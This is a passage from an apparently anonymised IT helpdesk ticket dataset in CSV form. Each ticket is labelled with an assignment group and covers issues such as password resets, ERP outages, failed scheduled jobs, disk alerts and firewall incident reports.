this.",GRP_7 +please reset your security to the collaboration_platform lagp area please reset your security to the collaboration_platform lagp area,GRP_16 +cannot see receipts for travel reimbursement the link to see receipts and reimbursement form submitted by team member is broken in mss.,GRP_0 +i need access to netweaver drawings. i also need erp access for nxd type drawings. i am being denied access in erp unable to access drawings in erp. need access to net weaver,GRP_0 +"security incidents - ( in33426117 ) : correlation rule triggered: icmp ping failure related events: _x000D_ +____________________________________________________________________________x000D_ +event id: 80657337_x000D_ +event summary: [hw] service icmp/icmp is down_x000D_ +source ip: 10.44.86.12_x000D_ +source hostname: ap-f5_x000D_ +destination hostname: _x000D_ +device ip: 10.44.86.12_x000D_ +device name: ap-f5.company.com_x000D_ +event extra data:_x000D_ +inspectorruleid = 2132464_x000D_ +sherlockruleid = 566281_x000D_ +ileatdatacenter = true_x000D_ +srchostname = ap-f5_x000D_ +foreseemaliciouscomment = null or empty model found;evaluationmodels->808333:0.5001:0.0061|ngm:0.9619:0.0008;_x000D_ +foreseeinternalip = 10.44.86.12_x000D_ +irreceivedtime = 1469623856316_x000D_ +foreseeconndirection = internal_x000D_ +inspectoreventid = 860011815_x000D_ +_x000D_ +_x000D_ +occurrence count: 1_x000D_ +event count: 1_x000D_ +_x000D_ +event detail:_x000D_ +from 46.45.62.5144 for device 10.44.86.12 summary: service icmp/icmp is down_x000D_ +detail: service check failed! (100% failures)_x000D_ +(icmp-echo) unable to ping 10.44.86.12",GRP_2 +"need to get the expense reports direct deposited as well? ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +rakthyesh ramdntythanjesh + hi kylfgte +kylfgte + hello! + how are you today? +rakthyesh ramdntythanjesh + i am doing great, how about you +kylfgte + good ",GRP_52 +erp SID_34 password locked erp SID_34 password locked,GRP_0 +"security incidents - ( #in33417637 ) : repeat outbound connection for 135/tcp from 10.16.143.221 source ip :10.16.143.221 +destination ip: 31.199.53.9 +system name :edml8111119 +user name: ptczqbdw ybaoluck(dalgtylam) +location :milano ds +sep , sms status :no updates +field sales user ( yes / no) : no +dsw event log:see below +---------------------------------------------------------------- +========================= +event data +========================= +related events: +___________________________________________________________________________ +event id: 70619902 +event summary: repeat outbound connection for 135/tcp +log time: 2016-07-26 at 15:46:55 +source ip: 10.16.143.221 +source hostname: edml8111119 +destination ip: 31.199.53.9 +destination hostname: host9-53-static.199-31-b.business.telecomitalia.it. +device ip: 80.71.06.702 +device name: company-european-asa.company.com-1 +event extra data: +inspectorruleid = 186739 +cvss = -1 +sherlockruleid = 237526 +ctainstanceid = 0 +irreceivedtime = 1469548921441 +inspectoreventid = 619150866 +eventtypepriority = 1 +foreseeinternalip = 10.16.143.221 +logtimestamp = 2570659126 +foreseeconndirection = outgoing +srcassetofinterest = 267 +foreseeexternalip = 31.199.53.9 +ontologyid = 200020003203009162 +srchostname = edml8111119 +eventtypeid = 200020003203009062 +proto = tcp +dstport = 135 +action = blocked +ileatdatacenter = true +foreseemaliciouscomment = null or empty model found;evaluationmodels->808333:0.0038:0.0061|ngm:0.0055:0.0061; +foreseedstipgeo = rome,ita +agentid = 103761 +srcmacaddress = 0a:f5:9a:d1:3d:17:00:00:00:00:00:00:00:00:00:00 +srcport = 65364 + + +occurrence count: 177 +event count: 1 + +event detail: +jul 26 15:46:55 80.71.06.702 %asa-4-106023: deny tcp src inside:10.16.143.221/65364 dst noris:31.199.53.9/135 by access-group ""acl_inside"" [0xed29b7f9, 0x0] + +[correlation_data] +jul 26 05:17:23 60.43.89.120 dhcpd[12402]: dhcpack on 10.16.143.221 to 0a:f5:9a:d1:3d:17:00:00:00:00:00:00:00:00:00:00 (edml8111119) via eth2 relay 10.16.4.26 lease-duration 28800",GRP_69 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"our server is getting full again. i have found 27g that i can erase, but that won't last too long. can you help? name:schtrtgoyht +language: +browser:microsoft internet explorer +email:shpnkgir.mpsycbxl@gmail.com +customer number: +telephone: ext 2335 +summary:our server is getting full again. i have found 27g that i can erase, but that won't last too long. can you help? +server : ldsm003",GRP_12 +"can't open outlook can't open outlook , i had same issues earlier this week ",GRP_0 +"HostName_108: disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 80.0 gb HostName_108: average (4 samples) disk free on c:\ is now 15%, which is below the warning threshold (15%) out of total size 80.0 gb",GRP_12 +"it assistance. need access usaed to collaboration_platform lagp link. _x000D_ +_x000D_ +received from: mgcivbtx.bshmfxya@gmail.com_x000D_ +_x000D_ +it,_x000D_ +_x000D_ +i currently cannot access the lagp form (hyperlink) in collaboration_platform. suomfxpj izcwuvgo stated i need to contact it for usaed access._x000D_ +_x000D_ +i click…_x000D_ +_x000D_ +_x000D_ +and receive…_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_16 +"blade chassis HostName_1170 (ip 79.40.48.896) is reporting ""non critical"" hardware issues. hi team, _x000D_ +_x000D_ +with the new functionality and features that monitoring_tool provides us, we have started monitorixepyfbga wtqdyoinware sensors. we started receiving alerts for the HostName_1170 blade chassis (79.40.48.896). the iom sensor and in turn the chassis is reporting some ""non critical"" alerts. could you please investigate and advise? _x000D_ +",GRP_12 +"blade chassis HostName_1170 (ip 79.40.48.896) reporting ""non critical"" hardware issues. blade chassis HostName_1170 (ip 79.40.48.896) reporting ""non critical"" hardware issues._x000D_ +_x000D_ +_x000D_ +hi team, _x000D_ +_x000D_ +with the new functionality and features that monitoring_tool provides us, we have started monitorixepyfbga wtqdyoinware sensors. we started receiving alerts for the HostName_1170 blade chassis (79.40.48.896). the iom sensor and in turn the chassis is reporting some ""non critical"" alerts. could you please investigate and advise? _x000D_ +",GRP_12 +"abended job in job_scheduler: archive_idocs_daily_SID_39 received from: monitoring_tool@company.com + + abended job in job_scheduler: archive_idocs_daily_SID_39 at 08/17/16 14:07:31",GRP_8 +"symantec endpoint encryption (see) agent roll out - europe region - only sales pc's + +received from: yqlvfkih.folbpugd@gmail.com + +dear folks, +i would like to thank all the site administrators whoever took part in this see agent pilot uacyltoe hxgayczeing and helped us through giving the honest feedbacks on the installation behavior time to time. this overall helped us to complete the full-fledge uacyltoe hxgayczeing and promote this package to the production rollout . + +we have planned to deploy the see agent on the enclosed list of sales pc's across europe starting from 19th aug 2016 and i would presume that the site admins of sales location are in acceptance of starting this deployment from the above mentioned date (since this particular time framdntye has been announced a month back by scot trask as global communication) + +in regard to this see agent rollout, i would request you all to keep your respective location users informed about the deployment schedule, and also please ensure that all the users are familiar with the package installation steps (type of package, installation duration, importance of the package, mode of the installation, times of reboot and installation behavior) through referring the below details. + + + +deployment date: - august 19th 2016 - friday + + + +time: - 9.00 am in the morning (as per the respective location time zone) + + + +deployment tool: - patching_antivirus_sw + + + +package type: - prompted. user will be prompted with prior notification to save all the work before proceeding the installation through clicking the continue button. + +duration: - 10 - 15 minutes + +restart required: - yes (automatic restart after the installation of see agent) + + + +package behavior: - please ask the sales users to go through the below provided bill bankrd and understand the importance of the package deployment . + + + +[cid:image001.jpg@01d1f8c2.4c71b800] + + + +we have uacyltoe hxgayczeed, validated and finalized the see agent deployment for our production environment. + +if any of the pc's from our deployment target list is not associated to the sales pc or got replaced or removed from the network, please do let us know via providing the comment on the separate column of the same enclosed target list (crm sales pc - see europe targetlist_64bit.xlsx & crm sales pc - see europe targetlist_32bit.xlsx), will exclude those pc's completely from this deployment. + +all vip and critical/machine pc's should be done manually by the respective it/site contact. for the manual installation, both site admin and the users must have the local admin privileges on the respective pc's to complete the see agent installation without any issue's. + +please access the following server share for manual installation (user must be either on office lan or vpn network to access the server share as provided). +\\HostName_497\see-agent-deploy + +( to install on windows 32 bit systems) - please execute the exe file which is under 32 bit folder of the above server share +( to install on windows 64 bit systems) - please execute the exe file which is under 64 bit folder of the above server share. + + +",GRP_0 +"abended job in job_scheduler: Job_1379 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1379 at 08/17/16 13:47:30",GRP_9 +"unable to restore pc from hibernation after reimage to 64 bit pc fails to restore from hibernation after re imaging to 64 bit os +after running on battery backup for 2 hours, the pc automatically goes into hibernation, causing massive data loss. + +please treat this on priority + +pc details + +pc name: aidl8912264 +windows os: windows 7 sp1 64 bit +ramdnty: 8 gb + +contact # ",GRP_19 +"unable to execute job_scheduler jobs post client upgrades on HostName_773,HostName_1311,HostName_1321 and HostName_1319 unable to execute job_scheduler jobs post client upgrades on HostName_773,HostName_1311,HostName_1321 and HostName_1319",GRP_47 +i do not have access to ethics training module error message: welcome to the company business ethics & conduct center (ethics) training site. our records indicate that the log-in credentials you used to access this site from the company's collaboration_platform do not match the records we have on file within the active directory. please submit a ticket to the global support center to ensure that your network log-in id is correctly entered into erp. ,GRP_23 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +reset passwords for andrdgrtew p taneghrty using password_management_tool password reset. the,GRP_17 +account is locked account is locked,GRP_0 +"erp consignment zkea issue with creating duplicate kb orders order 35867766 zkea was created and erp generated 2 fill orders, zkb orders. order 35867760 and 35867772. see screenshot in email attached. erp should have created only 1 fill kb order. customer receive duplicate fills and will be returning the product",GRP_13 +o drive missing in machine. o drive missing,GRP_0 +unable to log in to ess unable to log in to ess ,GRP_0 +"laptop damaged as it fell in flight from: prarthyr jha +sent: wednesday, august 17, 2016 4:40 pm +to: nwfodmhc exurcwkm +subject: amar fw: gt1z262- jhapg -issue + +hi, + +please refer attached photo ,laptop damaged due to fall in flight. + +at present system in working condition, with no issues. + +with repeated use hinges and seating might become problematic. + +please help. +latitude 7350. +computer name - aiml9912338 +user- jhapg +system id – gt1z262 +employee code – 202467809 + + + +",GRP_19 +"lhqsl909 and HostName_899 needs to be added to the log on account for bdclient1 lhqsl909 and HostName_899 needs to be added to the log on account for bdclient1 + + +name:mikhghytr +language: +browser:microsoft internet explorer +email:ekjobdiz.ktelzwvg@gmail.com +customer number: +telephone: +summary:is there an active directory setting that allows an user id to access the company access points companysecure? + + +",GRP_34 +"abended job in job_scheduler: Job_1387 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1387 at 08/17/16 11:27:32",GRP_9 +gwkdsmfx.ntorypsd@gmail.com password reset gwkdsmfx.ntorypsd@gmail.com password reset,GRP_0 +"problem with wlan in germany, germany for the attached device. problem with wlan in germany, germany for the attached device. contact yevirgnl ylhogjct for further info._x000D_ +_x000D_ +mac address: e8b7484d2f72",GRP_4 +usa - robot (server cabinet) pc lhnw8222138 is down since 10:37am on 08/17/16 usa - robot (server cabinet) pc lhnw8222138 is down since 10:37am on 08/17/16,GRP_8 +"re: erp SID_34 access rights + +received from: vipqmdse.zkaowfrx@gmail.com + +approved ragini. + + + +davidthd j wgtyills +vice president +vipqmdse.zkaowfrx@gmail.com + +",GRP_0 +password reset - erp manually reset erp password as the password from the previous reset through password_management_tool did not work.,GRP_0 +"mobile device activation have a new phone, my exchange server is blocked. can you release it so that mail come in? ",GRP_0 +"problem with wlan in germany, germany for the attached device. problem with wlan in germany, germany for the attached device. contact yevirgnl ylhogjct for further info.",GRP_4 +outlook freezing while opeyctrhbkm plvnuxmrils outlook freezing while opeyctrhbkm plvnuxmrils,GRP_0 +"erp error mesg ""order does not exist"" when trying to run apo and create a delivery erp error mesg ""order does not exist"" when trying to run apo and create a delivery for order 35886433 and order 35922308 getting error mesg ""value of modific. counter for doc. 1146033419 in supply_chain is: 09, but should be :1"" see attachments._x000D_ +",GRP_6 +email access to mobile device. email access to mobile device.,GRP_0 +"HostName_891 backup server offline/missing virtual drives physical backup server HostName_891 is down._x000D_ +we found that physical disks 4 and 6 have failed(attached screenshot). _x000D_ +HostName_891 backup server offline/missing virtual drives._x000D_ +drac ip 29.60.76.431_x000D_ +",GRP_12 +"202 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName_1089/10.2.1 dsw in33627670_x000D_ +_x000D_ +incident overview_x000D_ +=========================_x000D_ +we have detected at least 202 occurrences of your firewall company-internal-asa.company.com-1/18.79.63.203 dropping traffic sourcing from HostName_1089/41.53.25.402 and destined to port 135 of one or more destination devices. this activity may indicate one of the following:_x000D_ + 1. an infection on this host_x000D_ + 2. a misconfigured firewall_x000D_ + 3. a misconfigured host_x000D_ + 4. port scan (authorized or unauthorized)",GRP_12 +chat transfer chat transfer,GRP_0 +update my erp favorites update my erp favorites ,GRP_0 +company screensaver not on the computer company screensaver not on the computer ,GRP_0 +unable to load webpage unable to load webpage,GRP_0 +"abended job in job_scheduler: Job_1853 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1853 at 08/17/16 09:18:31",GRP_47 +"abended job in job_scheduler: Job_1402 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1402 at 08/17/16 09:16:31",GRP_47 +"abended job in job_scheduler: Job_1403 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1403 at 08/17/16 09:16:31",GRP_47 +"abended job in job_scheduler: Job_1417 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1417 at 08/17/16 09:16:31",GRP_47 +unable to change quotation. unable to change quotation.,GRP_13 +kis bug fixes and corrections kis bug fixes and corrections ,GRP_18 +"unable to access ms dynamics crm companyprod environment error: insufficient access_x000D_ +_x000D_ +please check attached email for error screenshot and contact details._x000D_ +_x000D_ +i believe licenses were recently provided._x000D_ +",GRP_22 +not able to login to windows. not able to login to windows.,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"we are unable to clear this inwarehouse_tool from vfx3. hello,_x000D_ +_x000D_ +can you please support here._x000D_ +_x000D_ +we are unable to clear this inwarehouse_tool from vfx3._x000D_ +_x000D_ +we need help as this is a high value inwarehouse_tool which we cannot clear._x000D_ +_x000D_ +",GRP_10 +account unlock. account unlock.,GRP_0 +ı cant connect netviewer ı connected at vpn after ı saw main screen of netviewer.ı wrote usrr name and password after ı see error screen .ı attached this screen,GRP_0 +"abended job in job_scheduler: Job_1854 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1854 at 08/17/16 08:39:32",GRP_47 +"abended job in job_scheduler: hrp_SID_34_chg_point received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: hrp_SID_34_chg_point at 08/17/16 08:39:32",GRP_47 +"erp SID_34 access rights + +received from: npvmwszt.gzcpejxv@gmail.com + +dear global helpdesk team, + +we wanted to request you for the access right for rfvchzmp picjthkd as same of the user ""bagtylleg"" zsluxctw ptirhcwv in erp logon SID_34 system. + +davidthd, can you kindly approve the request so that it can provide the access to stefdgthy. + +warm ",GRP_0 +"material tax classifications zero _x000D_ +_x000D_ +received from: hpmwliog.kqtnfvrl@gmail.com_x000D_ +_x000D_ +please open an it ticket and assign to rzucjgvp ioqjgmah._x000D_ +_x000D_ +",GRP_29 +email queries email queries,GRP_0 +no response on call no response on call,GRP_0 +"password reset - ad cyndy emailed requesting for password reset for jose. _x000D_ +emailed her the password.",GRP_0 +"mss access is missing + +received from: omrsiqdv.iwhcpgoa@gmail.com + +hi team, + +my mss access is missing and i need to have the access for raising job requisition. please help to fix it. + +[cid:image001.png@01d1f8c1.b68633c0] + + + +tiffrtany tafgtyng +manager hr shared services, asia pacific + +omrsiqdv.iwhcpgoa@gmail.com + + + +????????????????????????????????????????????????????????????????????????????????????????????? +[ +select the following link to view the disclaimer in an alternate language. ",GRP_0 +"unable to login to erp thomklmas contacted us during the outage when a core switch in the usa nvyjtmca xjhpznds went down._x000D_ +he was able to confirm access was restored once the switch came back up.",GRP_0 +"please delete calander meetings in kurtyar v1 (suzjhmfa swmiynoz) outlook please delete calendar meetings in kurtyar v1 (suzjhmfa swmiynoz) outlook. employee has left the company and request you to kindly delete following meetings from his calendar:_x000D_ +aug 19, _x000D_ +sep 09 & sep 30_x000D_ +oct 21, _x000D_ +nov 11, _x000D_ +dec2 & dec23_x000D_ +_x000D_ + ",GRP_26 +account locked in ad account locked in ad,GRP_0 +"no access to ethics training hello,_x000D_ +_x000D_ +i can't accede to my ethics training. my user is unrecognized. could you please check it? please see the attached screen_x000D_ +",GRP_23 +"outage - core swicth in usa dac went down colin was unable to access some sql databases. advised of the outage._x000D_ +he was able to confirm that issue was resolved once the core switch came back up.",GRP_0 +outlook is not opening. outlook is not opening.,GRP_0 +"please unlock the SID_78user at sar r/3 _x000D_ +_x000D_ +received from: cbupnjzo.daflthkw@gmail.com_x000D_ +_x000D_ +please unlock the SID_78user at sar r/3_x000D_ +_x000D_ +",GRP_2 +new windows 7 pc lpgw8517786 cannot connect to the rfid reader via rs232 port new windows 7 pc lpgw8517786 cannot connect to the rfid reader via rs232 port,GRP_3 +zdsxmcwu thdjzolwronization issue zdsxmcwu thdjzolwronization issue ,GRP_0 +account locked. account locked.,GRP_0 +"bitte precimat nr.2468 freischalten bitte die maschine precimat 1 nr.2468 wieder freischalten._x000D_ +ja ,unter azm",GRP_25 +password reset to login to erp hcm to be able to use or apply jobs in company password reset to login to erp hcm to be able to use or apply jobs in company,GRP_0 +"erp is not working. error : log on balancing error. inc1542327 : cert opened. _x000D_ +work around ",GRP_0 +"erp is not working. error : log on balancing error. inc1542327 : cert opened. _x000D_ +work around ",GRP_0 +"erp is not working. error : log on balancing error. inc1542327 : cert opened. _x000D_ +work around ",GRP_0 +"abended job in job_scheduler: SID_32arc2 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: SID_32arc2 at 08/17/16 06:25:30",GRP_8 +"erp SID_34 log out india cec are having issues with erp SID_34 production, system is logging out automatically and happened more than 5 times as of now.",GRP_0 +"abended job in job_scheduler: Job_1142 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_1142 at 08/17/16 06:12:30",GRP_9 +"reset the password for on erp / production / erp please reset password for SID_78user, old erp 4,6, is locked now,_x000D_ +",GRP_2 +"erp logon does not open _x000D_ +_x000D_ +received from: qjtbrvfy.avwqmhsp@gmail.com_x000D_ +_x000D_ +hello helpline,_x000D_ +_x000D_ +i need erp very urgent today, but cannot connect from my computer…_x000D_ +[cid:image001.png@01d1f87e.5996d540]_x000D_ +_x000D_ +[cid:image002.png@01d1f87e.5996d540]_x000D_ +_x000D_ +the user itself is not blocked, i tried it from a colleagues pc._x000D_ +_x000D_ +please advice._x000D_ +_x000D_ +",GRP_0 +"erp down , internet down in usa pa location erp down , internet down in usa pa location . +contact # : ",GRP_0 +"server down e00462 - error reading object details: the process has been canceled: error at execute transaction /dscsag/obj_get_multidetail2: connect to message server host failed +connection paramdntyeters: type=b dest=nogui mshost=SID_34-db r3name=SID_34 group=erp production pcs=1 + + +phone : ",GRP_0 +"abended job in job_scheduler: Job_3049 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: Job_3049 at 08/17/16 05:48:31",GRP_8 +"server probleme _x000D_ +_x000D_ +received from: jxlekivs.fwakmztv@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +die server verbindung in lic ist gestört, es kann nicht in erp gebucht werden. können sie sich des problems annehmen, danke._x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +erp SID_34 - system doesn't work - no production orders can be entered contact: +49-230877,GRP_0 +erp is not working erp is not working ,GRP_0 +"no connection to the erp system hello,_x000D_ +_x000D_ +we have no connection to the erp system._x000D_ +_x000D_ +no connection to the message server (rc = 9 )_x000D_ +_x000D_ +",GRP_0 +"connecting with erp not possible _x000D_ +_x000D_ +received from: yfmaqovp.wdonhbez@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +we need your help a.s.a.p._x000D_ +connecting with erp is not possible._x000D_ +we receive this error message._x000D_ +_x000D_ +[cid:image001.png@01d1f87c.10671411]_x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"abended job in job_scheduler: pp_EU_tool_netch_keheu1 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: pp_EU_tool_netch_keheu1 at 08/17/16 05:38:31",GRP_8 +"erp not working : erp outage. erp not working : erp outage. + +aeophctw nvjyhizu : united kingdom : ",GRP_0 +"erp is broken down _x000D_ +_x000D_ +received from: cbupnjzo.daflthkw@gmail.com_x000D_ +_x000D_ +please see error message from erp._x000D_ +_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d1f87b.b6974d90]_x000D_ +_x000D_ +mit freundlichen grüßen, best ",GRP_0 +"abended job in job_scheduler: mm_zscr0099_dly_uschow1 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: mm_zscr0099_dly_uschow1 at 08/17/16 05:34:31",GRP_29 +"erp not working erp not connecting +",GRP_0 +erp SID_34 is not working plant germany can not log in.+,GRP_0 +"erp logon not possible after the error , multiple users affected please see the error message attached ",GRP_0 +"probleme mit scanner und drucker \zslugaxq dtwlrofu _x000D_ +bei frau gödde ist der drucker nicht i.o.._x000D_ +_x000D_ +1. wenn sie etwas scannt, ist der scan grün_x000D_ +2. sie kann nichts ausdrucken. der drucker springt zwar an aber es kommt nichts raus._x000D_ +",GRP_24 +probleme mit office365 \ girnda probleme mit office365 \ girnda,GRP_24 +setup new ws \gonzales setup new ws \gonzales,GRP_24 +"hp alm triggered not shown up in inbox : +summary:actually the emails from hp alm triggered not + shown up in inbox",GRP_0 +"i cannot print out erp documents on zz_mails functions since today around noon. please help. i want to print out erp documents as pdf file from zz_mails function. i tried to do it since today's noon for sales document, delivery document, and billing document but nothing comes until now.",GRP_0 +alte it equipment abholen \wxstfouy isjzcotm alte it equipment abholen \wxstfouy isjzcotm,GRP_24 +"probleme mit anmelden. \wxstfouy isjzcotm leider kann ich mich nicht an meinem rechner anmelden. _x000D_ +_x000D_ +fehlermeldung: „ die verstrauensstellung zwischen dieser arbeitsstation und der primären domäne konnte nicht hergestellt werden""_x000D_ +",GRP_24 +"network outage at usa pa. location : plant network outage at usa pa. +intranet and internet both are affected (erp + outlook ...) +contact : ",GRP_4 +"internet not working in usa location. phone lines were down too but now its working fine. +outlook says : connecting to server. + +contact # :",GRP_4 +"engineering_drawing_tool rahmen kann nicht geladen werden engineering_drawing_tool lädt keine zeichnungsrahmen, es kommt die meldung aus dem anhang",GRP_46 +laptop not switching on laptop not starting,GRP_19 +getting warning messages in outloo while sending out emails via macro function - how can i disable the warning messages? getting warning messages in outloo while sending out emails via macro function - how can i disable the warning messages?,GRP_28 +"dn#80579343999-sales org. 1322(plant_69) _x000D_ +_x000D_ +received from: jvxmzteb.vsdcnfyr@gmail.com_x000D_ +_x000D_ +hellp it help_x000D_ +please refer to the below delivery note number_x000D_ +we are not able to return pgi, please help on this._x000D_ +[cid:image001.png@01d1f8aa.ee338e60]_x000D_ +_x000D_ +",GRP_18 +erp hana studio ( sidecar ) software is not working erp hana studio ( sidecar ) software is not working,GRP_19 +"reset the password for szcbhvwe edpouqjl on erp / production / erp dear it team, _x000D_ +_x000D_ +can you please be so kind and reset franhtyu´s password to daypay3?_x000D_ +",GRP_0 +"zz_mails : unable to send quotations to customer /sales _x000D_ +_x000D_ +received from: afwzehqs.jfbxegac@gmail.com_x000D_ +_x000D_ +hello team_x000D_ +_x000D_ +we are unable to send any quotations to customer or sales through zz_mails._x000D_ +_x000D_ +please check and resolve immediately._x000D_ +_x000D_ +example: 3116105044 was sent to afwzehqs.jfbxegac@gmail.com but not received._x000D_ +_x000D_ +warm ",GRP_13 + meeting inivation no skype 加载项 meeting inivation no skype 加载项 。,GRP_31 +"erp logon SID_34 & SID_37 _x000D_ +_x000D_ +received from: kbclinop.vsczklfp@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +i have been trying but couldn't set my erp logon to same window login password. please help to reset my erp login, and configure to the same as per my window login pw._x000D_ +_x000D_ +",GRP_0 + windows disk space utilization alert :: HostName_19 windows disk space utilization alert :: HostName_19 ,GRP_12 +"password not working for user : frgtyetij +from: qwvpgayb amniujsh +sent: wednesday, august 17, 2016 12:18 pm +to: nwfodmhc exurcwkm +cc: gaiopkun bvcdpxrt; qamyesuv npmzxbek +subject: fw: sab : gaiopkun bvcdpxrt password issue +importance: high + +hi team, +rubiargty changed the password a few times already but the issue remains the same : julgttie cannot log in. +can you please investigate aerp because our new sales engineer needs to work on customers immediately ? +",GRP_0 +"abended job in job_scheduler: pp_EU_tool_netch_ap1 received from: monitoring_tool@company.com_x000D_ +_x000D_ + abended job in job_scheduler: pp_EU_tool_netch_ap1 at 08/17/16 03:41:32",GRP_8 +windows disk space utilization alert ::: lhbsm005 windows disk space utilization alert ::: lhbsm005 ,GRP_12 +firewall company-internal-pix.company.com at ltrobe is down since 1:43am et on 08/17. firewall company-internal-pix.company.com (10.32.100.18) at ltrobe is down since 1:43am et on 08/17.,GRP_4 +"windows disk space utilization alert for :: HostName_106 windows disk space utilization alert for :: HostName_106 _x000D_ +",GRP_12 +"scanners down (especially scn to email is not working) server ip : 10.32.1.101 ( no reply to ping) smtp server +error : communication error. +contact : +server name : not known +server location : usa +",GRP_12 +"document sent out via zz_mails can't be received in time i made a uacyltoe hxgaycze as sent document 7611183197 to my own email address via zz_mails at 3 pm (apac time). +but 30 mins later, it still has not been received. +",GRP_13 +password reset. password reset.,GRP_0 +"zz_mails is not working dear it team, _x000D_ +today our zz_mails is not working, can you please check what happened?_x000D_ +",GRP_13 +mobile device activation. mobile device activation.,GRP_0 +"storage of 3d machine assembly models. _x000D_ +_x000D_ +received from: cyxzfvtj.yklmvqxf@gmail.com_x000D_ +_x000D_ +1. need a common place for online storage of 3d complete machine assembly models at one place. presently the drawings are in individual designer's pcs and retrieval is difficult._x000D_ + day by day as more & more machines are designed in 3d the data handling is going out of control._x000D_ +_x000D_ +2. common place (separate drive) under administrative control to save and view these complete machine assembly models._x000D_ +_x000D_ +3. periodic back up & archiving of data stored at this place._x000D_ +_x000D_ +_x000D_ +_x000D_ +with ",GRP_12 +"keine azm-meldungen möglich im EU_tool lassen sich keine azm-meldungen eintragen_x000D_ +_x000D_ +in EU_tool, azm messages can not be registered.",GRP_25 +the interface 'gi7/3';'te6/1;gi7/11 and gi8/15 in bottom-6509-msfc720 switch at usa is down since 2:00am et on 08/17 the interface 'gi7/3';'te6/1;gi7/11 and gi8/15 in bottom-6509-msfc720 switch at usa is down since 2:00am et on 08/17,GRP_8 +"global it-germany-erp- ""send output with email"" does not works!!! good day dear all,_x000D_ +please help me aerp, so that the erp-""output sending with email"" will work as well as yesterday!_x000D_ +",GRP_0 +"urgent : ordering from purchasing catalogue not working ordering from purchasing catalogue not working, unable to order. please see the attachments.",GRP_29 +"log on erp, password need to change + +received from: gvderpbx.udrzjxkm@gmail.com + +hi, please assist + +i had to change my windows password as it was about to expire. +now i can't log in on erp. + +username bragtydlc +employee nr 700104 + + +please assist aerp. + + +",GRP_0 +issues when processing t&d requests - urgent please help to look into the issues i got in attachment. ,GRP_2 +urgent!! erp outputs not generated all users in poland encounter issue with erp outputs (see the error message attached) ,GRP_13 +"my screen would beshryuout momentarily and return with the following ""display driver stopped responding and has recovered"" i have just changed my laptop recently and after the change, every time i used microsoft excel dealing with huge information, my screen would beshryu out momentarily with the following message ""display driver stopped responding and has recovered."" this beshryu out could happen as often as every 5-10 minutes when i am using excel. _x000D_ +_x000D_ +twice it was so bad that the screen turn blue with some information on crash dump and i have to force re-start my laptop. ",GRP_19 +robot lhqw8325925sf at usa is inactive since 1:54am et on 08/17. robot lhqw8325925sf at usa is inactive since 1:54am et on 08/17.,GRP_8 +"20160816 plant_308 label error _x000D_ +_x000D_ +received from: bjrtfeyi.fuqapwtv@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +when the operator print plant_308 label, he click ""made in plant_308"" there is no information as below correct screenshot._x000D_ +could you help to solve the error, please? ",GRP_45 +HostName_755 EU_tool server restart required please restart the server aerp and check if it works again. EU_tool is not working for germany plant. our it-partner is on vacation.,GRP_12 +"connection to 'admin2-datacenter-switch04' ;switch05 & admin2-datacenter-switch06 is down at latrosince 1:40am et 08/17. connection to 'admin2-datacenter-switch04' (ping) failed (ip: 71.62.89.948 , profile: admin2-datacenter-switch04)_x000D_ +connection to 'admin2-datacenter-switch05' (ping) failed (ip: 75.16.41.846 , profile: admin2-datacenter-switch05)_x000D_ +connection to 'admin2-datacenter-switch06' (ping) failed (ip: 28.12.01.025 , profile: admin2-datacenter-switch06)",GRP_53 +pls help to change the internal order number 717625 from cost center cnn010 to cplant_2412. we jsut had a new company marocm apac cost cneter cplant_2412. pls help to change the internal order number 717625 from cost center cnn010 to cplant_2412. ,GRP_10 +not able to find a folder in outlook not able to find a folder in outlook ,GRP_0 +unable to send mail with forward restriction unable to send mail with forward restriction,GRP_19 +"re: deployment notification | telephony_software 2016 + +received from: wqfzjycu.omleknjd@gmail.com + +hi deeghyupak, + +i was on vacation when your e-mail was sent last week and only managed to see it on my return minutes before the automatically deployment. + +on a general note unless there is a critical security risk deployment these updates should be limited to once a month, so far this month this is the third deployment. you may not realize the impact this has on our users especially the unannounced updates. in addition with users similarly to csr who are working directly with our customers, i do not think it is the best practice to deploy automatically updates especially to all users all at the same time. + +the impact of yesterday's deployment was that our csr phones were not operating for over 2 hours during the morning. + + + +",GRP_0 +"problem mit festnetztelefon + +received from: jctnelqs.lansuiwe@gmail.com + +verehrte damen und herren, + +an meinem festnetztelefon ist seit geraumer zeit die anzeige im display nur noch unvollständig erkennbar. +mehrere waagerechte linien machen die anzeige unlesbar. + +meine telefonnummer lautet 09279/80-155. + +bitte um abhilfe. + +mit 